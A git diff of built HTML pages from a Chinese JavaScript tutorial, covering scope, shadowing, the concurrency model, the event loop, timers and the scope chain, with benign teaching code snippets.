                                  如果 ac 都存在于 barfoo 的内部,console.log 就可以直接使用 bar 中的变量,而无需到外面的 foo 中查找。

                                  遮蔽

                                  作用域查找会在找到第一个匹配的标识符时停止

                                  在多层嵌套作用域中允许定义同名标识符,称为 遮蔽效应(内部的标识符遮蔽了外部的标识符)。

                                  抛开遮蔽效应,作用域查找始终从运行时所处的最内部作用域开始,逐级向外或者说向上层作用域进行查询,直到遇见第一个匹配的标识符为止。

                                  全局变量会自动成为全局对象的属性(比如浏览器中的 Window 对象),因此可以不直接使用全局对象的词法名称,而是间接地通过对全局对象属性的引用来对其进行访问。

                                  🌰 代码示例

                                  window.a;

                                  通过这种技术可以访问那些被同名变量所遮蔽的全局变量。但非全局的变量如果被遮蔽了,无论如何都无法被访问到。

                                  无论函数在哪里被调用,也无论它如何被调用,它的词法作用域都只由函数被声明时所处的位置决定。

                                  词法作用域查找只会查找一级标识符,比如 abc。如果代码中引用了 foo.bar.baz,词法作用域查找只会试图查找 foo 标识符,找到这个变量后,对象属性访问规则会分别接管对 barbaz 属性的访问。

                                  动态作用域

                                  词法作用域最重要的特征是它的定义过程发生在代码的书写阶段。

                                  那为什么要介绍动态作用域呢?

                                  实际上动态作用域是 JavaScript 另一个重要机制 this 的表亲。作用域混乱多数是因为词法作用域和 this 机制相混淆。

                                  动态作用域 并不关心函数和作用域是如何声明以及在何处声明,它只关心它们从何处调用。

                                  换句话说,作用域链 是基于 调用栈 的,而不是代码中的作用域嵌套。

                                  const a = 2;
                                  function foo() {
                                  console.log(a);
                                  }
                                  function bar() {
                                  const a = 3;
                                  foo();
                                  }
                                  -
                                  bar();

                                  对于两种作用域的区别,简而言之,词法作用域是在 定义 时确定的,而动态作用域是在 运行 时确定的。

                                  +
                                  bar();

                                  对于两种作用域的区别,简而言之,词法作用域是在 定义 时确定的,而动态作用域是在 运行 时确定的。

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/concurrency-model/concurrency-model/index.html b/core-modules/executable-code-and-execution-contexts/concurrency-model/concurrency-model/index.html index 82ef0e83a..f0aa511e3 100644 --- a/core-modules/executable-code-and-execution-contexts/concurrency-model/concurrency-model/index.html +++ b/core-modules/executable-code-and-execution-contexts/concurrency-model/concurrency-model/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 并发模型 - JavaScript Guidebook -

                                  并发模型

                                  名词解释

                                  在了解 JavaScript 单线程、非阻塞机制之前,先了解几组易混淆的概念。

                                  进程和线程的概念以及关系:

                                  • 进程(Process):进程是系统资源分配和调度的单元。一个运行着的程序就对应了一个进程。一个进程包括了运行中的程序和程序所使用到的内存和系统资源。
                                  • 线程(Thread):线程是进程下的执行者,一个进程至少开启一个线程(主线程),也可以开启多个线程。

                                  并行和并发的概念:

                                  • 并行(Parallelism):指程序的运行状态,在同一时间内有几件事情并行在处理。由于一个线程在同一时间只能处理一件事情,所以并行需要多个线程在同一时间执行多件事情。
                                  • 并发(Concurrency):指程序的设计结构,在同一时间内多件事情能被交替地处理。重点是,在某个时间内只有一件事情在执行。比如单核 CPU 能实现多任务运行的过程就是并发。

                                  阻塞和非阻塞的概念:

                                  • 阻塞(Blocking):阻塞是指调用在等待的过程中线程被挂起(CPU 资源被分配到其他地方去)
                                  • 非阻塞(Non-blocking):非阻塞是指等待的过程 CPU 资源还在该线程中,线程还能做其他的事情

                                  再来区分单线程和多线程的区别:

                                  • 单线程:从头执行到尾,逐行执行,如果其中一行代码报错,那么剩下代码将不再执行。同时容易代码阻塞。
                                  • 多线程:代码运行的环境不同,各线程独立,互不影响,避免阻塞。

                                  同步与异步的概念:

                                  • 同步(Synchronous):程序发出调用的时候,一直等待直到返回结果,没有结果之前不会返回。也就是,同步时调用者主动等待调用过程,且能立即得到结果的。
                                  • 异步(Asynchronous):程序发出调用之后,无法立即得到结果,需要额外的操作才能得到预期的结果是为异步。

                                  运行环境

                                  JavaScript 的运行通常是在浏览器环境中进行的,具体由 JavaScript 引擎去解析和运行。

                                  浏览器线程

                                  目前最为流行的浏览器为:Chrome、IE、Safari、Firefox、Opera。浏览器的内核是多线程的,通常由以下几个常驻的线程组成:

                                  • 渲染引擎线程:负责页面的渲染
                                  • JavaScript 引擎线程:负责 JavaScript 的解析和执行
                                  • 定时触发器线程:处理定时事件,比如 setTimeoutsetInterval
                                  • 浏览器事件触发线程:处理 DOM 事件
                                  • 异步 HTTP 请求线程:处理 HTTP 请求

                                  ⚠️ 需要注意的是,渲染线程和 JavaScript 引擎线程是 互斥 的。渲染线程在执行任务的时候,JavaScript 引擎线程会被挂起。因为 JavaScript 可以操作 DOM,若在渲染中 JavaScript 处理了 DOM,浏览器可能会不知所措了。

                                  内核引擎

                                  通常讲到浏览器的时候,我们会说到两个浏览器的核心组件:渲染引擎(Rendering Engine)和 JavaScript 解释器(JavaScript Interpreter)。

                                  浏览器厂商渲染引擎JavaScript 解释器(引擎)
                                  ChromeWebkit => BlinkV8
                                  SafariWebkitNitro
                                  FirefoxGeckoSpiderMonky / TraceMonkey / JaegerMonkey
                                  OperaPresto => BlinkLinear A / Linear B / Futhark / Carakan
                                  Internet ExplorerTrident => EdgeHTMLJScript / Chakra(9+)
                                  EdgeEdgeHTML => ChromiumChakra

                                  注:Webkit 引擎包含 WebCore 排版引擎及 JavaScript Core 解析引擎

                                  不同的渲染引擎对同一个样式的实现不一致,就导致了经常被人诟病的浏览器样式兼容性问题。

                                  JavaScript 解释器可以说是 JavaScript 虚拟机,负责 JavaScript 代码的解析和执行。这里 编译阶段 有详细解读。

                                  单线程

                                  JavaScript 的单线程,与它的用途有关。作为浏览器脚本语言,JavaScript 的主要用途是与用户互动,以及操作 DOM。这决定了它只能是单线程,否则会带来很复杂的同步问题。比如,假定 JavaScript 同时有两个线程,一个线程在某个 DOM 节点上添加内容,另一个线程删除了这个节点,这时浏览器应该以哪个线程为准呢?

                                  所以,为了避免复杂性,从诞生之初以来,JavaScript 运行环境就是单线程,这已经成了这门语言的核心特征,将来也不会改变。

                                  为了利用多核 CPU 的计算能力,HTML5 提出 Web Worker 标准,允许 JavaScript 脚本创建多个线程,但是子线程完全受主线程控制,且不得操作 DOM。所以,这个新标准并没有改变 JavaScript 单线程的本质。

                                  ⚠️ 注意: 需要注意的是,JavaScript 的单线程是指一个程序进程(在浏览器运行环境中运行的就是浏览器进程)中只有一个 JavaScript 的执行线程,同一时刻内只会有一段 JavaScript 代码在执行。而异步机制是运行环境的两个或以上常驻线程共同完成的。

                                  任务队列

                                  JavaScript 中的程序任务可以分为两种:

                                  • 同步任务(Synchronous):同步任务在主线程上调用之后需要一直等待,只有当前任务执行完毕后,才能执行下一个任务
                                  • 异步任务(Asynchronous):异步任务会在主线程先执行一部分,然后退出主线程至专用线程中执行。在异步任务准备就绪后,会被推进任务队列等待(Task Queue),当主线程空闲时,JavaScript 解释器会执行一次事件循环(EventLoop)将事件队列中首个事件推进主线程执行

                                  具体来说,异步执行的运行机制 如下:

                                  1. 所有同步任务及异步任务按照 编译原理 在主线程上执行,形成一个 执行上下文栈(Execution Context Stack)
                                  2. 同步任务执行完成并返回结果后退出执行上下文栈;异步任务执行一部分后,退出主线程的执行上下文栈,推进至运行环境的专用线程中继续执行
                                  3. 当运行环境的专用线程中的异步任务准备就绪后,将被推至任务队列(Task Queue)中等待执行
                                  4. 主线程的执行上下文栈中的所有任务执行完毕后,JavaScript 解释器就会通过事件循环机制检查任务队列中是否存在等待执行的事件。如果存在,则队首的异步任务将结束等待状态,进入执行上下文执行
                                  5. JavaScript 主线程运行期间将不断重复上面第四步

                                  异步任务执行机制图解
                                  +

                                  并发模型

                                  名词解释

                                  在了解 JavaScript 单线程、非阻塞机制之前,先了解几组易混淆的概念。

                                  进程和线程的概念以及关系:

                                  • 进程(Process):进程是系统资源分配和调度的单元。一个运行着的程序就对应了一个进程。一个进程包括了运行中的程序和程序所使用到的内存和系统资源。
                                  • 线程(Thread):线程是进程下的执行者,一个进程至少开启一个线程(主线程),也可以开启多个线程。

                                  并行和并发的概念:

                                  • 并行(Parallelism):指程序的运行状态,在同一时间内有几件事情并行在处理。由于一个线程在同一时间只能处理一件事情,所以并行需要多个线程在同一时间执行多件事情。
                                  • 并发(Concurrency):指程序的设计结构,在同一时间内多件事情能被交替地处理。重点是,在某个时间内只有一件事情在执行。比如单核 CPU 能实现多任务运行的过程就是并发。

                                  阻塞和非阻塞的概念:

                                  • 阻塞(Blocking):阻塞是指调用在等待的过程中线程被挂起(CPU 资源被分配到其他地方去)
                                  • 非阻塞(Non-blocking):非阻塞是指等待的过程 CPU 资源还在该线程中,线程还能做其他的事情

                                  再来区分单线程和多线程的区别:

                                  • 单线程:从头执行到尾,逐行执行,如果其中一行代码报错,那么剩下代码将不再执行。同时容易代码阻塞。
                                  • 多线程:代码运行的环境不同,各线程独立,互不影响,避免阻塞。

                                  同步与异步的概念:

                                  • 同步(Synchronous):程序发出调用的时候,一直等待直到返回结果,没有结果之前不会返回。也就是,同步时调用者主动等待调用过程,且能立即得到结果的。
                                  • 异步(Asynchronous):程序发出调用之后,无法立即得到结果,需要额外的操作才能得到预期的结果是为异步。

                                  运行环境

                                  JavaScript 的运行通常是在浏览器环境中进行的,具体由 JavaScript 引擎去解析和运行。

                                  浏览器线程

                                  目前最为流行的浏览器为:Chrome、IE、Safari、Firefox、Opera。浏览器的内核是多线程的,通常由以下几个常驻的线程组成:

                                  • 渲染引擎线程:负责页面的渲染
                                  • JavaScript 引擎线程:负责 JavaScript 的解析和执行
                                  • 定时触发器线程:处理定时事件,比如 setTimeoutsetInterval
                                  • 浏览器事件触发线程:处理 DOM 事件
                                  • 异步 HTTP 请求线程:处理 HTTP 请求

                                  ⚠️ 需要注意的是,渲染线程和 JavaScript 引擎线程是 互斥 的。渲染线程在执行任务的时候,JavaScript 引擎线程会被挂起。因为 JavaScript 可以操作 DOM,若在渲染中 JavaScript 处理了 DOM,浏览器可能会不知所措了。

                                  内核引擎

                                  通常讲到浏览器的时候,我们会说到两个浏览器的核心组件:渲染引擎(Rendering Engine)和 JavaScript 解释器(JavaScript Interpreter)。

                                  浏览器厂商渲染引擎JavaScript 解释器(引擎)
                                  ChromeWebkit => BlinkV8
                                  SafariWebkitNitro
                                  FirefoxGeckoSpiderMonky / TraceMonkey / JaegerMonkey
                                  OperaPresto => BlinkLinear A / Linear B / Futhark / Carakan
                                  Internet ExplorerTrident => EdgeHTMLJScript / Chakra(9+)
                                  EdgeEdgeHTML => ChromiumChakra

                                  注:Webkit 引擎包含 WebCore 排版引擎及 JavaScript Core 解析引擎

                                  不同的渲染引擎对同一个样式的实现不一致,就导致了经常被人诟病的浏览器样式兼容性问题。

                                  JavaScript 解释器可以说是 JavaScript 虚拟机,负责 JavaScript 代码的解析和执行。这里 编译阶段 有详细解读。

                                  单线程

                                  JavaScript 的单线程,与它的用途有关。作为浏览器脚本语言,JavaScript 的主要用途是与用户互动,以及操作 DOM。这决定了它只能是单线程,否则会带来很复杂的同步问题。比如,假定 JavaScript 同时有两个线程,一个线程在某个 DOM 节点上添加内容,另一个线程删除了这个节点,这时浏览器应该以哪个线程为准呢?

                                  所以,为了避免复杂性,从诞生之初以来,JavaScript 运行环境就是单线程,这已经成了这门语言的核心特征,将来也不会改变。

                                  为了利用多核 CPU 的计算能力,HTML5 提出 Web Worker 标准,允许 JavaScript 脚本创建多个线程,但是子线程完全受主线程控制,且不得操作 DOM。所以,这个新标准并没有改变 JavaScript 单线程的本质。

                                  ⚠️ 注意: 需要注意的是,JavaScript 的单线程是指一个程序进程(在浏览器运行环境中运行的就是浏览器进程)中只有一个 JavaScript 的执行线程,同一时刻内只会有一段 JavaScript 代码在执行。而异步机制是运行环境的两个或以上常驻线程共同完成的。

                                  任务队列

                                  JavaScript 中的程序任务可以分为两种:

                                  • 同步任务(Synchronous):同步任务在主线程上调用之后需要一直等待,只有当前任务执行完毕后,才能执行下一个任务
                                  • 异步任务(Asynchronous):异步任务会在主线程先执行一部分,然后退出主线程至专用线程中执行。在异步任务准备就绪后,会被推进任务队列等待(Task Queue),当主线程空闲时,JavaScript 解释器会执行一次事件循环(EventLoop)将事件队列中首个事件推进主线程执行

                                  具体来说,异步执行的运行机制 如下:

                                  1. 所有同步任务及异步任务按照 编译原理 在主线程上执行,形成一个 执行上下文栈(Execution Context Stack)
                                  2. 同步任务执行完成并返回结果后退出执行上下文栈;异步任务执行一部分后,退出主线程的执行上下文栈,推进至运行环境的专用线程中继续执行
                                  3. 当运行环境的专用线程中的异步任务准备就绪后,将被推至任务队列(Task Queue)中等待执行
                                  4. 主线程的执行上下文栈中的所有任务执行完毕后,JavaScript 解释器就会通过事件循环机制检查任务队列中是否存在等待执行的事件。如果存在,则队首的异步任务将结束等待状态,进入执行上下文执行
                                  5. JavaScript 主线程运行期间将不断重复上面第四步

                                  异步任务执行机制图解
                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/index.html b/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/index.html index 46e419d0d..f2fb7988a 100644 --- a/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/index.html +++ b/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -32,12 +35,12 @@
                                  setTimeout(() => {
                                  console.log(2);
                                  }, 0);
                                  let promise = new Promise((res) => {
                                  console.log(3);
                                  resolve();
                                  })
                                  .then((res) => {
                                  console.log(4);
                                  })
                                  .then((res) => {
                                  console.log(5);
                                  });
                                  console.log(6);
                                  -
                                  // 1 3 6 4 5 2

                                  Node 环境

                                  在 Node 中,事件循环表现出的状态与浏览器中大致相同。不同的是 Node 中有一套自己的模型。Node 中事件循环的实现是依靠的 libuv 引擎。我们知道 Node 选择 Chrome V8 引擎作为 JavaScript 解释器,V8 引擎将 JavaScript 代码分析后去调用对应的 Node API,而这些 API 最后则由 libuv 引擎驱动,执行对应的任务,并把不同的事件放在不同的队列中等待主线程执行。 因此实际上 Node 中的事件循环存在于 libuv 引擎中。

                                  ┌───────────────────────┐
                                  ┌─>│ timers │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  │ │ I/O callbacks │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  │ │ idle, prepare │
                                  │ └──────────┬────────────┘ ┌───────────────┐
                                  │ ┌──────────┴────────────┐ │ incoming:
                                  │ │ poll │<──connections─── │
                                  │ └──────────┬────────────┘ │ data, etc.
                                  │ ┌──────────┴────────────┐ └───────────────┘
                                  │ │ check │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  └──┤ close callbacks │
                                  └───────────────────────┘

                                  当一个消息需要太长时间才能处理完毕时,Web 应用就无法处理用户的交互,例如点击或滚动。浏览器用程序需要过长时间运行的对话框来缓解这个问题。一个很好的做法是缩短消息处理,并在可能的情况下将一个消息裁剪成多个消息。

                                  参考资料

                                  +
                                  // 1 3 6 4 5 2

                                  Node 环境

                                  在 Node 中,事件循环表现出的状态与浏览器中大致相同。不同的是 Node 中有一套自己的模型。Node 中事件循环的实现是依靠的 libuv 引擎。我们知道 Node 选择 Chrome V8 引擎作为 JavaScript 解释器,V8 引擎将 JavaScript 代码分析后去调用对应的 Node API,而这些 API 最后则由 libuv 引擎驱动,执行对应的任务,并把不同的事件放在不同的队列中等待主线程执行。 因此实际上 Node 中的事件循环存在于 libuv 引擎中。

                                  ┌───────────────────────┐
                                  ┌─>│ timers │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  │ │ I/O callbacks │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  │ │ idle, prepare │
                                  │ └──────────┬────────────┘ ┌───────────────┐
                                  │ ┌──────────┴────────────┐ │ incoming:
                                  │ │ poll │<──connections─── │
                                  │ └──────────┬────────────┘ │ data, etc.
                                  │ ┌──────────┴────────────┐ └───────────────┘
                                  │ │ check │
                                  │ └──────────┬────────────┘
                                  │ ┌──────────┴────────────┐
                                  └──┤ close callbacks │
                                  └───────────────────────┘

                                  当一个消息需要太长时间才能处理完毕时,Web 应用就无法处理用户的交互,例如点击或滚动。浏览器用程序需要过长时间运行的对话框来缓解这个问题。一个很好的做法是缩短消息处理,并在可能的情况下将一个消息裁剪成多个消息。

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/concurrency-model/index.html b/core-modules/executable-code-and-execution-contexts/concurrency-model/index.html index 0a6f27e7c..258df5c85 100644 --- a/core-modules/executable-code-and-execution-contexts/concurrency-model/index.html +++ b/core-modules/executable-code-and-execution-contexts/concurrency-model/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/executable-code-and-execution-contexts/concurrency-model/timers-mechanism/index.html b/core-modules/executable-code-and-execution-contexts/concurrency-model/timers-mechanism/index.html index 348fbde8a..bfd383d26 100644 --- a/core-modules/executable-code-and-execution-contexts/concurrency-model/timers-mechanism/index.html +++ b/core-modules/executable-code-and-execution-contexts/concurrency-model/timers-mechanism/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 定时器机制 - JavaScript Guidebook -

                                  定时器机制

                                  定时器机制

                                  让我们看看这里发生了什么事情:

                                  1. 首先在 0 毫秒的时候有一个持续 18 毫秒的 JavaScript 代码块要执行。
                                  2. 然后在 0 毫秒的时候设了两个 10 毫秒延迟的定时器,setTimeout 以及 setIntervalsetTimeout 先设定。
                                  3. 在第 6 毫秒的时候有一个发生了鼠标单击事件。

                                  事件排队

                                  同时发生了这么多事情,由于 JavaScript 的单线程特性,当主线程正在执行状态,有异步事件触发时,它就会退出主线程,进入宿主环境中用于处理定时器的线程,当准备就绪后会进入事件队列,并且在主线程空闲时才推入执行

                                  这里的异步事件包括:鼠标单击、定时器触发、Ajax 请求、Promise 等事件。

                                  示例中首先有一个 18 毫秒的代码块要执行,在这 18 毫秒中只能执行这段代码块,其他事件触发了之后只能在事件队列中排队等待执行

                                  在代码块还在运行期间,第 6 毫秒的时候,发生了一个鼠标单击事件,以及第 10 毫秒时的 setTimeoutsetInterval 两个处理程序,这三个事件不能立即执行,而是被添加到等待执行的事件队列中。

                                  先进先出原则

                                  18 毫秒的时候代码块结束执行,有三个任务在排队等待执行,根据先进先出的原则,此时会先执行 click 鼠标点击事件setTimeoutsetInterval 将继续排队等待执行。先进先出原则可以理解为先排队的先执行。

                                  间歇调用定时器调用被废弃

                                  在鼠标点击事件执行时,第 20 毫秒处,第二个setInterval也到期了,因为此时已经 click 事件占用了线程,所以 setInterval 还是不能被执行,并且因为此时队列中已经有一个 setInterval 正在排队等待执行,所以这一次的 setInterval 的调用将被废弃。

                                  ⚠️ 注意:浏览器不会对同一个 setInterval 处理程序多次添加到待执行队列。

                                  定时器无法保证准时执行回调函数

                                  鼠标点击事件在第 28 毫秒处结束执行,有两个任务(setTimeoutsetInterval)正在等待执行,遵循先进先出的原则,setTimeout 早于 setInterval 设定,所以先执行 setTimeout

                                  因此我们期望在第 10 毫秒处执行的 setTimeout 处理程序,最终会在第 28 毫秒处才开始执行,这就是上文提到的setTimeout/setInterval无法保证准时执行回调函数。

                                  在 30 毫秒处,setInterval 又触发了,因为队列中已经有 setInterval 在排队,所以这次的触发又作废了。

                                  间歇调用定时器的连续执行

                                  setTimeout 执行结束,在第 36 毫秒处,队列中的 setInterval 处理程序才开始执行,setInterval 需要执行 6 毫秒。

                                  在第 40 毫秒的时候 setInterval 再次触发,因为此时上一个 setInterval 正在执行期间,队列中并没有 setInterval 在排队,这次触发的 setInterval 将进入队列等候

                                  因此,setInterval 的处理时长不能比设定的间隔长,否则 setInterval 将会没有间隔地重复执行。

                                  第 42 毫秒的时候,第一个 setInterval 结束,然后队列中的 setInterval 立即开始执行,在 48 毫秒的时候完成执行。然后 50 毫秒的时候再次触发 setInterval,此时没有任务在排队,将会立即执行。

                                  超时调用定时器按固定间隔触发周期性定时器

                                  上文说了,setInterval 的处理时长不能比设定的间隔长,否则 setInterval 将会没有间隔的重复执行。

                                  但是对这个问题,很多情况下,我们并不能清晰的把控处理程序所消耗的时长,为了我们能按照一定的间隔周期性的触发定时器。

                                  // 实际上我不止在忍者秘籍中见过,在很多地方都见过这种技术。
                                  setTimeout(function repeatMe() {
                                  // do something
                                  setTimeout(repeatMe, 10);
                                  // 执行完处理程序的内容后,在末尾再间隔10毫秒来调用该程序,这样就能保证一定是10毫秒的周期调用
                                  }, 10);
                                  • 定时器不能非常细粒化的控制执行的时间,书中建议在 15ms 以上。
                                  • 可以使用定时器来分解长时间运行的任务,这里可以自行谷歌。

                                  函数 setTimeout 接受两个参数:待加入队列的消息和一个延迟(可选,默认为 0)。这个延迟代表了消息被实际加入到队列的最小延迟时间。如果队列中没有其它消息,在这段延迟时间过去之后,消息会被马上处理。但是,如果有其它消息,setTimeout 消息必须等待其它消息处理完。因此第二个参数仅仅表示最少延迟时间,而非确切的等待时间。


                                  参考资料:

                                  +

                                  定时器机制

                                  定时器机制

                                  让我们看看这里发生了什么事情:

                                  1. 首先在 0 毫秒的时候有一个持续 18 毫秒的 JavaScript 代码块要执行。
                                  2. 然后在 0 毫秒的时候设了两个 10 毫秒延迟的定时器,setTimeout 以及 setIntervalsetTimeout 先设定。
                                  3. 在第 6 毫秒的时候有一个发生了鼠标单击事件。

                                  事件排队

                                  同时发生了这么多事情,由于 JavaScript 的单线程特性,当主线程正在执行状态,有异步事件触发时,它就会退出主线程,进入宿主环境中用于处理定时器的线程,当准备就绪后会进入事件队列,并且在主线程空闲时才推入执行

                                  这里的异步事件包括:鼠标单击、定时器触发、Ajax 请求、Promise 等事件。

                                  示例中首先有一个 18 毫秒的代码块要执行,在这 18 毫秒中只能执行这段代码块,其他事件触发了之后只能在事件队列中排队等待执行

                                  在代码块还在运行期间,第 6 毫秒的时候,发生了一个鼠标单击事件,以及第 10 毫秒时的 setTimeoutsetInterval 两个处理程序,这三个事件不能立即执行,而是被添加到等待执行的事件队列中。

                                  先进先出原则

                                  18 毫秒的时候代码块结束执行,有三个任务在排队等待执行,根据先进先出的原则,此时会先执行 click 鼠标点击事件setTimeoutsetInterval 将继续排队等待执行。先进先出原则可以理解为先排队的先执行。

                                  间歇调用定时器调用被废弃

                                  在鼠标点击事件执行时,第 20 毫秒处,第二个setInterval也到期了,因为此时已经 click 事件占用了线程,所以 setInterval 还是不能被执行,并且因为此时队列中已经有一个 setInterval 正在排队等待执行,所以这一次的 setInterval 的调用将被废弃。

                                  ⚠️ 注意:浏览器不会对同一个 setInterval 处理程序多次添加到待执行队列。

                                  定时器无法保证准时执行回调函数

                                  鼠标点击事件在第 28 毫秒处结束执行,有两个任务(setTimeoutsetInterval)正在等待执行,遵循先进先出的原则,setTimeout 早于 setInterval 设定,所以先执行 setTimeout

                                  因此我们期望在第 10 毫秒处执行的 setTimeout 处理程序,最终会在第 28 毫秒处才开始执行,这就是上文提到的setTimeout/setInterval无法保证准时执行回调函数。

                                  在 30 毫秒处,setInterval 又触发了,因为队列中已经有 setInterval 在排队,所以这次的触发又作废了。

                                  间歇调用定时器的连续执行

                                  setTimeout 执行结束,在第 36 毫秒处,队列中的 setInterval 处理程序才开始执行,setInterval 需要执行 6 毫秒。

                                  在第 40 毫秒的时候 setInterval 再次触发,因为此时上一个 setInterval 正在执行期间,队列中并没有 setInterval 在排队,这次触发的 setInterval 将进入队列等候

                                  因此,setInterval 的处理时长不能比设定的间隔长,否则 setInterval 将会没有间隔地重复执行。

                                  第 42 毫秒的时候,第一个 setInterval 结束,然后队列中的 setInterval 立即开始执行,在 48 毫秒的时候完成执行。然后 50 毫秒的时候再次触发 setInterval,此时没有任务在排队,将会立即执行。

                                  超时调用定时器按固定间隔触发周期性定时器

                                  上文说了,setInterval 的处理时长不能比设定的间隔长,否则 setInterval 将会没有间隔的重复执行。

                                  但是对这个问题,很多情况下,我们并不能清晰的把控处理程序所消耗的时长,为了我们能按照一定的间隔周期性的触发定时器。

                                  // 实际上我不止在忍者秘籍中见过,在很多地方都见过这种技术。
                                  setTimeout(function repeatMe() {
                                  // do something
                                  setTimeout(repeatMe, 10);
                                  // 执行完处理程序的内容后,在末尾再间隔10毫秒来调用该程序,这样就能保证一定是10毫秒的周期调用
                                  }, 10);
                                  • 定时器不能非常细粒化的控制执行的时间,书中建议在 15ms 以上。
                                  • 可以使用定时器来分解长时间运行的任务,这里可以自行谷歌。

                                  函数 setTimeout 接受两个参数:待加入队列的消息和一个延迟(可选,默认为 0)。这个延迟代表了消息被实际加入到队列的最小延迟时间。如果队列中没有其它消息,在这段延迟时间过去之后,消息会被马上处理。但是,如果有其它消息,setTimeout 消息必须等待其它消息处理完。因此第二个参数仅仅表示最少延迟时间,而非确切的等待时间。


                                  参考资料:

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/execution/execution-context-stack/index.html b/core-modules/executable-code-and-execution-contexts/execution/execution-context-stack/index.html index 5cba683e0..9ea533a1b 100644 --- a/core-modules/executable-code-and-execution-contexts/execution/execution-context-stack/index.html +++ b/core-modules/executable-code-and-execution-contexts/execution/execution-context-stack/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                                  // fun3 执行完毕
                                  ECStack.pop();
                                  // fun2 执行完毕
                                  ECStack.pop();
                                  // fun1 执行完毕
                                  ECStack.pop();
                                  -
                                  // JavaScript 接着执行下面的代码,但是 ECStack 底层永远有个 globalContext

                                  详细了解了这个过程之后,我们就可以对 执行上下文栈 总结一些结论了。

                                  参考资料

                                  +
                                  // JavaScript 接着执行下面的代码,但是 ECStack 底层永远有个 globalContext

                                  详细了解了这个过程之后,我们就可以对 执行上下文栈 总结一些结论了。

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/execution/index.html b/core-modules/executable-code-and-execution-contexts/execution/index.html index 7df7441ec..04812166d 100644 --- a/core-modules/executable-code-and-execution-contexts/execution/index.html +++ b/core-modules/executable-code-and-execution-contexts/execution/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/executable-code-and-execution-contexts/execution/scope-chain/index.html b/core-modules/executable-code-and-execution-contexts/execution/scope-chain/index.html index 9de25f4a6..b71bcd216 100644 --- a/core-modules/executable-code-and-execution-contexts/execution/scope-chain/index.html +++ b/core-modules/executable-code-and-execution-contexts/execution/scope-chain/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                  作用域链

                                  变量对象 中提及到,当查找变量的时候,会先从当前执行上下文的变量对象中查找,如果没有找到,就会从父级(词法层面上的父级)执行上下文的变量对象中查找,一直找到全局上下文的变量对象,也就是全局对象。这样由多个执行上下文的 变量对象 构成的链表就叫做作用域链。

                                  下面,我们从一个函数的 创建激活 两个阶段来剖析作用域链是如何创建和变化的。

                                  函数的创建

                                  函数作用域在函数定义的时候就决定了。

                                  这是因为函数有一个内部属性 [[Scopes]],当函数创建的时候,就会保存所有父级作用域内的变量对象到其中,你可以理解 [[Scopes]] 就是所有父级作用域的变量对象的层级链,但是注意:[[Scopes]] 并不代表完整的作用域链。

                                  🌰 代码示例

                                  function foo() {
                                  function bar() {
                                  // do something
                                  }
                                  }

                                  函数创建时,各自的 [[Scopes]] 为:

                                  console.dir(foo);
                                  // [[Scopes]]: Scopes[2]
                                  // 0: Scripts {...}
                                  // 1: Global {...}
                                  foo.[[Scopes]] = [
                                  globalContext.VO
                                  ];
                                  -
                                  bar.[[Scopes]] = [
                                  fooContext.AO,
                                  globalContext.VO
                                  ];

                                  函数的激活

                                  当函数激活(执行)时,进入函数上下文,创建 VO / AO 后,就会将 活动对象 添加到作用域链的前端。

                                  这时候执行上下文的作用域链,我们命名为 Scopes:

                                  Scopes = [AO].concat([[Scopes]]);

                                  至此,作用域链创建完毕。

                                  示例分析

                                  以下面的例子为例,结合着之前讲的变量对象和执行上下文栈,我们来总结一下函数执行上下文中作用域链和变量对象的 创建过程

                                  const scope = 'global scope';
                                  function checkscope() {
                                  var scope2 = 'local scope';
                                  return scope2;
                                  }
                                  checkscope();

                                  执行过程 如下:

                                  1. checkscope 函数被创建,保存作用域链到内部属性 [[Scopes]]
                                  checkscope.[[Scopes]] = [
                                  globalContext.VO
                                  ];
                                  1. 执行 checkscope 函数,创建 checkscope 函数执行上下文,checkscope 函数执行上下文被压入执行上下文栈
                                  ECStack = [checkscopeContext, globalContext];
                                  1. checkscope 函数并不立刻执行,开始做准备工作,第一步:复制函数 [[Scopes]] 属性创建作用域链
                                  checkscopeContext = {
                                  Scopes: checkscope.[[Scopes]],
                                  }
                                  1. arguments 创建活动对象,随后初始化活动对象,加入形参、函数声明、变量声明
                                  checkscopeContext = {
                                  AO: {
                                  arguments: {
                                  length: 0
                                  },
                                  scope2: undefined
                                  }
                                  Scopes: checkscope.[[Scopes]],
                                  }
                                  1. 将活动对象压入 checkscope 作用域链顶端
                                  checkscopeContext = {
                                  AO: {
                                  arguments: {
                                  length: 0,
                                  },
                                  scope2: undefined,
                                  },
                                  Scopes: [AO, [[Scopes]]],
                                  };
                                  1. 准备工作做完,开始执行函数,随着函数的执行,修改 AO 的属性值
                                  checkscopeContext = {
